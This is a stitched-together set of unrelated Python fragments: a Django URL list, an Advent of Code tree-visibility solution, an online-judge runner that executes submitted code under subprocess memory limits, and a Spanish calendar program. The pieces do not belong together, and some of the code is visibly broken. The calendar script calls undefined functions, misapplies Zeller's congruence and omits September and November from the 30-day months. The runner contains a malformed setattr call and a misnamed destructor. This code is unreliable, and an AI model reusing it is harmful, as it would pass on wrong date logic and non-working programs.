    path('Detallecuerpo/delete/<int:pk>', Detallecuerpoeliminar.as_view(), name='EliminarDC'),

    path('', Batallaview.as_view(), name='Batallas'),
    path('Batalla/new', Batallainsertar.as_view(), name='AgregarB'),
    path('Batalla/edit/<int:pk>', Batallaeditar.as_view(), name='EditarB'),
    path('Batalla/delete/<int:pk>', Batallaeliminar.as_view(), name='EliminarB'),

    path('Demonio', Demonioview.as_view(), name='Demonios'),
    path('Demonio/new', Demonioinsertar.as_view(), name='AgregarD'),
    path('Demonio/edit/<int:pk>', Demonioeditar.as_view(), name='EditarD'),
    path('Demonio/delete/<int:pk>', Demonioeliminar.as_view(), name='EliminarD'),
    path('Demonio/print',demonio_print,name='demonio_print'),
    path('Demonio/print/<int:pk>',demonio_print,name='demonio_print_one'),
  ]


import os
import math
import string

input_file = open("Day 8 - Treetop Tree House\input.txt", "r")

trees_arr = []

row_ctr = 0
for line in input_file:
    chars = []
    for char in line.strip():
        chars.append(char)
    trees_arr.append(chars)
    row_ctr += 1

row = 1
max_row = len(trees_arr) - 1
max_col = len(trees_arr[0]) - 1

vis_ctr = len(trees_arr) * 4 - 4

while row < max_row:
    col = 1
    while col < max_col:
        # all items to loop here

        curr_val = trees_arr[row][col]

        is_hidden = False
        #check left
        left_col_i = 0
        while (left_col_i < col):
            compared_value = trees_arr[row][left_col_i]
            if (compared_value >= curr_val):
                is_hidden = True
                break
            left_col_i += 1

        if (not(is_hidden)):
            vis_ctr += 1
            col += 1
            continue

        is_hidden = False
        #right check
        right_col_i = col + 1
        while (right_col_i < len(trees_arr[0])):
            compared_value = trees_arr[row][right_col_i]
            if (compared_value >= curr_val):
                is_hidden = True
                break
            right_col_i += 1

        if (not(is_hidden)):
            vis_ctr += 1
            col += 1
            continue

        is_hidden = False
        #top check
        top_row_i = 0
        while (top_row_i < row):
            compared_value = trees_arr[top_row_i][col]
            if (compared_value >= curr_val):
                is_hidden = True
                break
            top_row_i += 1

        if (not(is_hidden)):
            vis_ctr += 1
            col += 1
            continue

        is_hidden = False
        #bot check
        bot_row_i = row + 1
        while (bot_row_i < len(trees_arr)):
            compared_value = trees_arr[bot_row_i][col]
            if (compared_value >= curr_val):
                is_hidden = True
                break
            bot_row_i += 1

        if (not(is_hidden)):
            vis_ctr += 1
            col += 1
            continue

        col += 1

    row += 1

print(vis_ctr)


import os
from random import randint
from time import time
import subprocess
from datetime import datetime
from shutil import rmtree
from db.models import UserRegisteredContest,Contest,ContestProblem,Problem,Submission,Admin,User
from bson.objectid import ObjectId
from platform import system
from flask import current_app

ORIGINAL_DIR=os.getcwd()

if system()=='Linux':
    py_dir="/usr/local/bin/python"
    go_dir="/usr/bin/go"
    cplus_dir="/usr/bin/g++"
    c_dir="/usr/bin/gcc"
    import resource

compilers={
    "go":go_dir,
    "py":py_dir,
    "java":"/usr/bin/java",
    "c":c_dir,
    "cpp":cplus_dir,
    "python":py_dir,
    "python2":"/usr/bin/python2",
    "php":"/usr/bin/php",
    "js":"/usr/bin/node"
}

def runCommand(*popenargs,input=None, capture_output=False, timeout=None, check=False,memorylimit=300,**kwargs):
    #mocking the standard implementation of subprocess.run
    #so we can set memory limit
    lang=kwargs.get("lang")
    if lang:kwargs.pop("lang")
    if input is not None:
        if kwargs.get('stdin') is not None:
            raise ValueError('stdin and input arguments may not both be used.')
        kwargs['stdin'] = subprocess.PIPE

    if capture_output:
        if kwargs.get('stdout') is not None or kwargs.get('stderr') is not None:
            raise ValueError('stdout and stderr arguments may not be used '
                             'with capture_output.')
        kwargs['stdout'] = subprocess.PIPE
        kwargs['stderr'] = subprocess.PIPE

    with subprocess.Popen(*popenargs, **kwargs) as process:
        if system()=='Linux':
            memorylimit=memorylimit+128 #extra 128 mb for startup
            memorylimithard=memorylimit*1024**2+10024

            if lang!="js":
                #js is single threaded that means we would be setting stack limit
                #for the entire js interpreter since js relies on callback functions
                #for it operations which essentially uses stack
                resource.prlimit(process.pid,resource.RLIMIT_DATA,(memorylimit*1024**2,memorylimithard))
            resource.prlimit(process.pid,resource.RLIMIT_STACK,(memorylimit*1024**2,memorylimithard))

        try:
            stdout, stderr = process.communicate(input, timeout=timeout)
        except subprocess.TimeoutExpired as exc:
            process.kill()
            if subprocess._mswindows:
                # Windows accumulates the output in a single blocking
                # read() call run on child threads, with the timeout
                # being done in a join() on those threads.  communicate()
                # _after_ kill() is required to collect that and add it
                # to the exception.
                exc.stdout, exc.stderr = process.communicate()
            else:
                # POSIX _communicate already populated the output so
                # far into the TimeoutExpired exception.
                process.wait()
            raise
        except:  # Including KeyboardInterrupt, communicate handled that.
            process.kill()
            # We don't call process.wait() as .__exit__ does that for us.
            raise
        retcode = process.poll()
        if check and retcode:
            raise subprocess.CalledProcessError(retcode, process.args,
                                     output=stdout, stderr=stderr)
    return subprocess.CompletedProcess(process.args, retcode, stdout, stderr)

class Task:
    """
    Handles running of submitted code and updates the submission details in the database
    """

    @classmethod
    def taskObj(cls,d):
        if isinstance(d,dict):
            obj=object()
            for classvar in d:
                setattr(obj,classvar,d[classvar])
            setattr(obj,"run",)
            return obj

    PossibelTasksState=["initialize","running","finished"]
    def __init__(self,lang,content,userid,problem,id,stype,codefile,contestid=None,ctype=None):
        """
        :param stype: the type of submission. differentiates actual
                      test cases from sample cases.
        :param content: code content
        :param problem: an Instance of :class: `ProblemInstance`.
        """
        self.state=Task.PossibelTasksState[0]
        self.lang=lang
        self.stype = stype
        self.codefile = codefile
        if self.codefile:
            self.content = self.codefile.read().decode("utf-8")
        else:
            self.content = content # get submitted code content
        self.userid=userid
        user=User().getBy(_id=ObjectId(userid)) or Admin().getBy(_id=ObjectId(userid))
        self.username = user.get("username")
        self.id=id
        self.state=Task.PossibelTasksState[0]
        self.verdict = "Passed"
        self.contestid = contestid
        self.ctype = ctype
        self.problem = problem

        if self.stype == "test":
            self.cases=self.problem.getTestCases().split(",")
            self.answercase=self.problem.getAnswerForTestCases().split(",")
            self.result=[None]*int(self.problem.getSizeOfTestCases())
        elif self.stype == "sample":
            self.cases=self.problem.getSampleCases().split(",")
            self.answercase=self.problem.getAnswerForSampleCases().split(",")
            self.result=[None]*int(self.problem.getSizeOfSampleCases())

        self.cases=[i.strip() for i in self.cases]
        self.answercase=[i.strip() for i in self.answercase]

        self.timelimit=problem.getTimeLimit()
        self.memlimit=problem.getMemLimit()
        self.enter()

    def toJson(self):
        # Don't show expected output for contest submission
        if self.contestid:
            for each in self.result:
                if each:
                    each.pop('expectedoutput', None)
        return {"state":self.state,"lang":self.lang,"_id":self.id,"result":self.result}

    def __str__(self):
        return str(self.__dict__)

    def __repr__(self):
        return str(self.__dict__)

    def free(self):
        #del self.contestid,self.ctype,self.problem,self.stype
        #del self.cases,self.answercase,self.timelimit,self.memlimit
        pass

    def __del___(self):
        #cleaning up
        try:
            os.remove(self.filepath)
            if self.lang.lower()=="java":
                rmtree(self.folder,ignore_errors=True)
        except FileNotFoundError:
            pass

    def __lt__(self,other):
        return ~self.PossibelTasksState.index(self.state)< ~other.PossibelTasksState.index(other.state)

    def enter(self):
        self.filename=self.randomFilename()
        if self.lang.lower()=="java":
            filename=os.path.join(*self.filename.split(".")[:-1])
            self.folder="/tmp/{}/{}/".format(self.lang,filename)
            os.makedirs(self.folder,exist_ok=True)
        else:
            self.folder="/tmp/{}/".format(self.lang)
        self.filepath=self.folder+self.filename
        with open(self.filepath,"w+") as f:
            f.write(self.content)
        self.timeofsubmission=str(datetime.now())

    def resolveFolder(self,lang):
        #python is py,java is java e.t.c.This function exist if need be resolve the name later

        if lang not in compilers:
            raise NotImplementedError("Not yet supported")
        if lang.lower()=="go":
            return [compilers[lang],"run"]
        return [compilers[lang]]

    def randomFilename(self):
        return self.userid+"{}{}.{}".format(hash(time()),hash(self),self.lang)

    def status(self):
        return self.state

    def formatRunOutput(self,string):
        if not string:return string
        #starting by replacing all file name with a generic name
        return string.replace(self.filepath,"submited."+self.lang)

    def runPerCase(self,n_cases,binargs,**kwargs):
        for cc in range(n_cases):
            errput = None
            ans = None
            try:
                ans=runCommand(binargs,input=self.cases[cc],**kwargs)
            except subprocess.TimeoutExpired:
                self.result[cc] ={"passed":False,
                                    "output":"Time Limit Exceeded",
                                    "errput":"",
                                    "expectedoutput":self.answercase[cc]
                                    }
                self.verdict = "Failed"
                errput = "TimeOut"
                break
            except MemoryError:
                self.result[cc] ={"passed":False,
                                    "output":"Memory Limit Exceeded",
                                    "errput":"",
                                    "expectedoutput":self.answercase[cc]
                                    }
                self.verdict = "Failed"
                errput = "OutOFMemory"
                break
            except Exception as e:
                errput="RuntimeError"
                if str(type(e))=="<class 'subprocess.TimeoutExpired'>":
                    errput="TimeOut"

            if ans:
                output=ans.stdout.strip()
                errput=errput or ans.stderr.strip()
                if not output and not errput:
                    errput="No result from Interpreter"
                if ans.returncode > 0:
                    errput="RuntimeError"

                self.result[cc] = {
                                    "passed":output==self.answercase[cc] and ans.returncode==0,
                                    "output":self.formatRunOutput(output),
                                    "errput":self.formatRunOutput(errput),
                                    "expectedoutput":self.answercase[cc]
                                    }
                if not self.answercase[cc] or ans.returncode>0 or output!=self.answercase[cc]:
                    self.verdict = "Failed"
            else:
                self.result[cc] = {
                                    "passed":False,
                                    "output":"",
                                    "errput":self.formatRunOutput(errput),
                                    "expectedoutput":self.answercase[cc]
                                    }
                self.verdict = "Failed"

    def runCompile(self,compiler_name,compile_options,run_options,n_cases,binary):

        compileans=runCommand([compiler_name]+compile_options+[self.filepath],
                                            capture_output=True,encoding="utf-8",memorylimit=self.memlimit)

        #if while trying to compile and there was an error
        l=len(self.result)
        if compileans.returncode >0 :
            for cc in range(l):
                self.result[cc] ={"passed":False,
                                    "output":self.formatRunOutput(compileans.stderr.strip()),
                                    "errput":"CompileError",
                                    "expectedoutput":self.answercase[cc]
                                    }
            return

        self.runPerCase(l,[binary]+run_options,capture_output=True,timeout= self.timelimit,\
                                encoding="utf-8",memorylimit=self.memlimit)

    def run(self,ClientConnection):
        setattr(self,"runtime",time())
        l=len(self.result)
        self.state=self.PossibelTasksState[1]
        #some languagues have to compile then run
        if self.lang == "java":
            options_compile=["-d",self.folder,"-s",self.folder,"-h",self.folder]
            options_run=["-classpath",self.folder,"Solution"]
            self.runCompile("javac",options_compile,options_run,l,"java")
        elif self.lang == "c":
            options_compile=["-o",self.filepath+".out"]
            options_run=[]
            self.runCompile("gcc",options_compile,options_run,l,self.filepath+".out")
        elif self.lang=="cpp":
            options_compile=["-o",self.filepath+".out"]
            options_run=[]
            self.runCompile("g++",options_compile,options_run,l,self.filepath+".out")
        else:
            # languages like python, js, php should be fine.
            self.memlimit= self.memlimit+100 # extra 100mb for interpreted languanges
            args=self.resolveFolder(self.lang)+[self.filepath]
            self.runPerCase(l,args,capture_output=True,timeout= self.timelimit,\
                            encoding="utf-8",memorylimit=self.memlimit,lang=self.lang)

        self.state=self.PossibelTasksState[2]
        #create a submission in the database
        submission_data = {'prblmid':self.problem.getprblmid(),'name':self.problem.getName(),'userid':self.userid,'contestid':self.contestid,'ctype':self.ctype,'codecontent':self.content,
        'lang':self.lang,'stype':self.stype,'result': self.result,'verdict': self.verdict,'timesubmitted':self.timeofsubmission}
        if self.stype == "test":
            if not self.contestid:
                submission_data.pop('userid', None)
                submission_data.pop('contestid', None)
                submission_data.pop('ctype', None)
                Submission(self.userid).addDoc(submission_data)
                if self.verdict == "Passed":
                    # problem solved, update this particular problem document
                    update = {"$addToSet": {"solvedby": self.userid}}
                    Problem().flexibleUpdate(update, _id=ObjectId(self.problem.getprblmid()))
            else:
                Submission(self.userid).addDoc(submission_data) #add this submission to the submission document
                self.gradeSubmission(submission_data)

        os.remove(self.filepath)
        if self.lang.lower()=="java":
            rmtree(self.folder,ignore_errors=True)
        self.free()
        ClientConnection.send(["DONE",self.id])

    def gradeSubmission(self, data):
        """
        This method is called in :class: `Task' in task.py to make necessary
        updates to the database when submission code to a problem in the contest has be run
        """
        userid = data.get('userid')
        contestid = data.get('contestid')
        ctype = data.get('ctype')
        prblmid = data.get('prblmid')
        verdict = data.get('verdict')
        contest_problem = ContestProblem(ctype, contestid).getBy(_id=ObjectId(prblmid))
        contest = Contest(ctype).getBy(_id=ObjectId(contestid))
        contest_start_time = contest.get('starttime')
        submission_time = datetime.now().timestamp() - contest_start_time

        prblmscorefield = 'problemscore.{}'.format(prblmid)
        if verdict != "Passed":
            score = 0
            penalty = -10
            # update the penalty field
            update = {'$inc': {'penalty': penalty}}
            pScore = contest_problem.get('prblmscore')
            argDict={"contestid":contestid, prblmscorefield:{'$ne': pScore}}
            UserRegisteredContest(userid).flexibleUpdate(update, **argDict)
        else:
            score = contest_problem.get('prblmscore')
            penalty = 0

        # update the user score for that problem and time penalty, if the new score is greater than the prev one
        update = {'$set': {'problemscore.{}'.format(prblmid): score}, '$inc': {'timepenalty': submission_time}}
        argDict={"contestid":contestid,prblmscorefield:{'$lte': score}}
        if UserRegisteredContest(userid).flexibleUpdate(update, **argDict):
            # calculate the total score
            reg_contest = UserRegisteredContest(userid).getBy(contestid=contestid)
            problemscore = reg_contest.get('problemscore')
            totalscore = reg_contest.get('penalty')
            timepenalty = reg_contest.get('timepenalty')
            for each in problemscore:
                totalscore += problemscore[each]
            # update the total score
            update = {"$set": {'totalscore': totalscore}}
            UserRegisteredContest(userid).flexibleUpdate(update, contestid=contestid)

            # update the contest document to reflect this participants current score.
            update = {"$set": {'participants.{}.currscore'.format(userid): totalscore,
            'participants.{}.timepenalty'.format(userid): timepenalty}}
            Contest(ctype).flexibleUpdate(update, _id=ObjectId(contestid))
            data['score'] = totalscore
            wsdata={"point":totalscore,"username":self.username,"attempted":len(problemscore)}
            current_app.socketio.emit('newscore', wsdata,namespace='/scoreboard/')


mes=int(input('ingrese mes [1-12]:'))
anio=int(input('ingrese año:[<?1900]'))
mes_valido=False
while not mes_valido :
    try:
        mes=int(input('ingrese mes [1-12]:'))
        if mes>= 1 and mes <=12:
            mes_valido=True
        else:
            print('error el mes ingresado debe estar en el rango espesificado')
    except ValueError:
        print('error el mes ingresado debe estar en el rango espesificado')
anio_valido=False
while not anio_valido:
    try:
        anio=int(input('ingrese año:[<?1900]'))
        if anio>=1900:
            anio_valido=True
        else:
            print('error el año ingresado debe estar en el rango espesificado')
    except ValueError:
        print('error el año ingresado debe estar en el rango espesificado')
def dia_mes(dia,mes,anio):
    #usanddo la  Convergencia de Zeller.
    #https://es.wikipedia.org/wiki/Congruencia_de_Zeller
    if mes in [1,2]:
        mes+=1
        anio-=1
    q,m,y=dia,mes,anio
    h=q+((13*(m+1))//5)+y+(y//4)-(y//100)+(y//100)%7
    return (h-1)%7
    #retorna la fecha

if mes_valido and anio_valido:
    calendario=['']*42
    idx=dia_mes(1,mes,anio)
    n_dias=num_dia_mes(mes,anio)
    calendario[idx:idx+n_dias]=range(1,n_dias+1)
    #[1,2,3,.....n-dias,,,](42 elementos )
    #['','',1,2,..n-dias,,,] (42 elementos)
    print_calendario(mes,calendario)
def num_dias(mes,anio):
    #regresar el numero de dias e una fecha
    if mes==2:
        #si corresponde a año bisiesto
        if anio %4==0 and (anio%100!=0 or anio %400==0):
            return 29
        else:
            return 28
    elif mes in [4,6,8,10]:
        return 30
    else:
        return 31

def print_calendario(mes,calendario):
    #imprime una lista de dias 842)
    nombre_mes={1:'ENERO', 2:'FEBREARO',3:'MARZO',4:'ABRIL',
                5:'MAYO',6:'JUNIO',7:'JULIO',8:'AGOSTO',9:'SEPTIEMBRE',
                10:'OCTUBRE',11:'NOVIEMBRE',12:'DICIEMBRE'}
    print(nombre_mes[mes])
    print(' D  L  M  M  J  V  S')
    for idx,dia in enumerate (calendario, start=1):
        print(f' {dia:2} ',end=' ')
        if idx % 7==0:
            print ()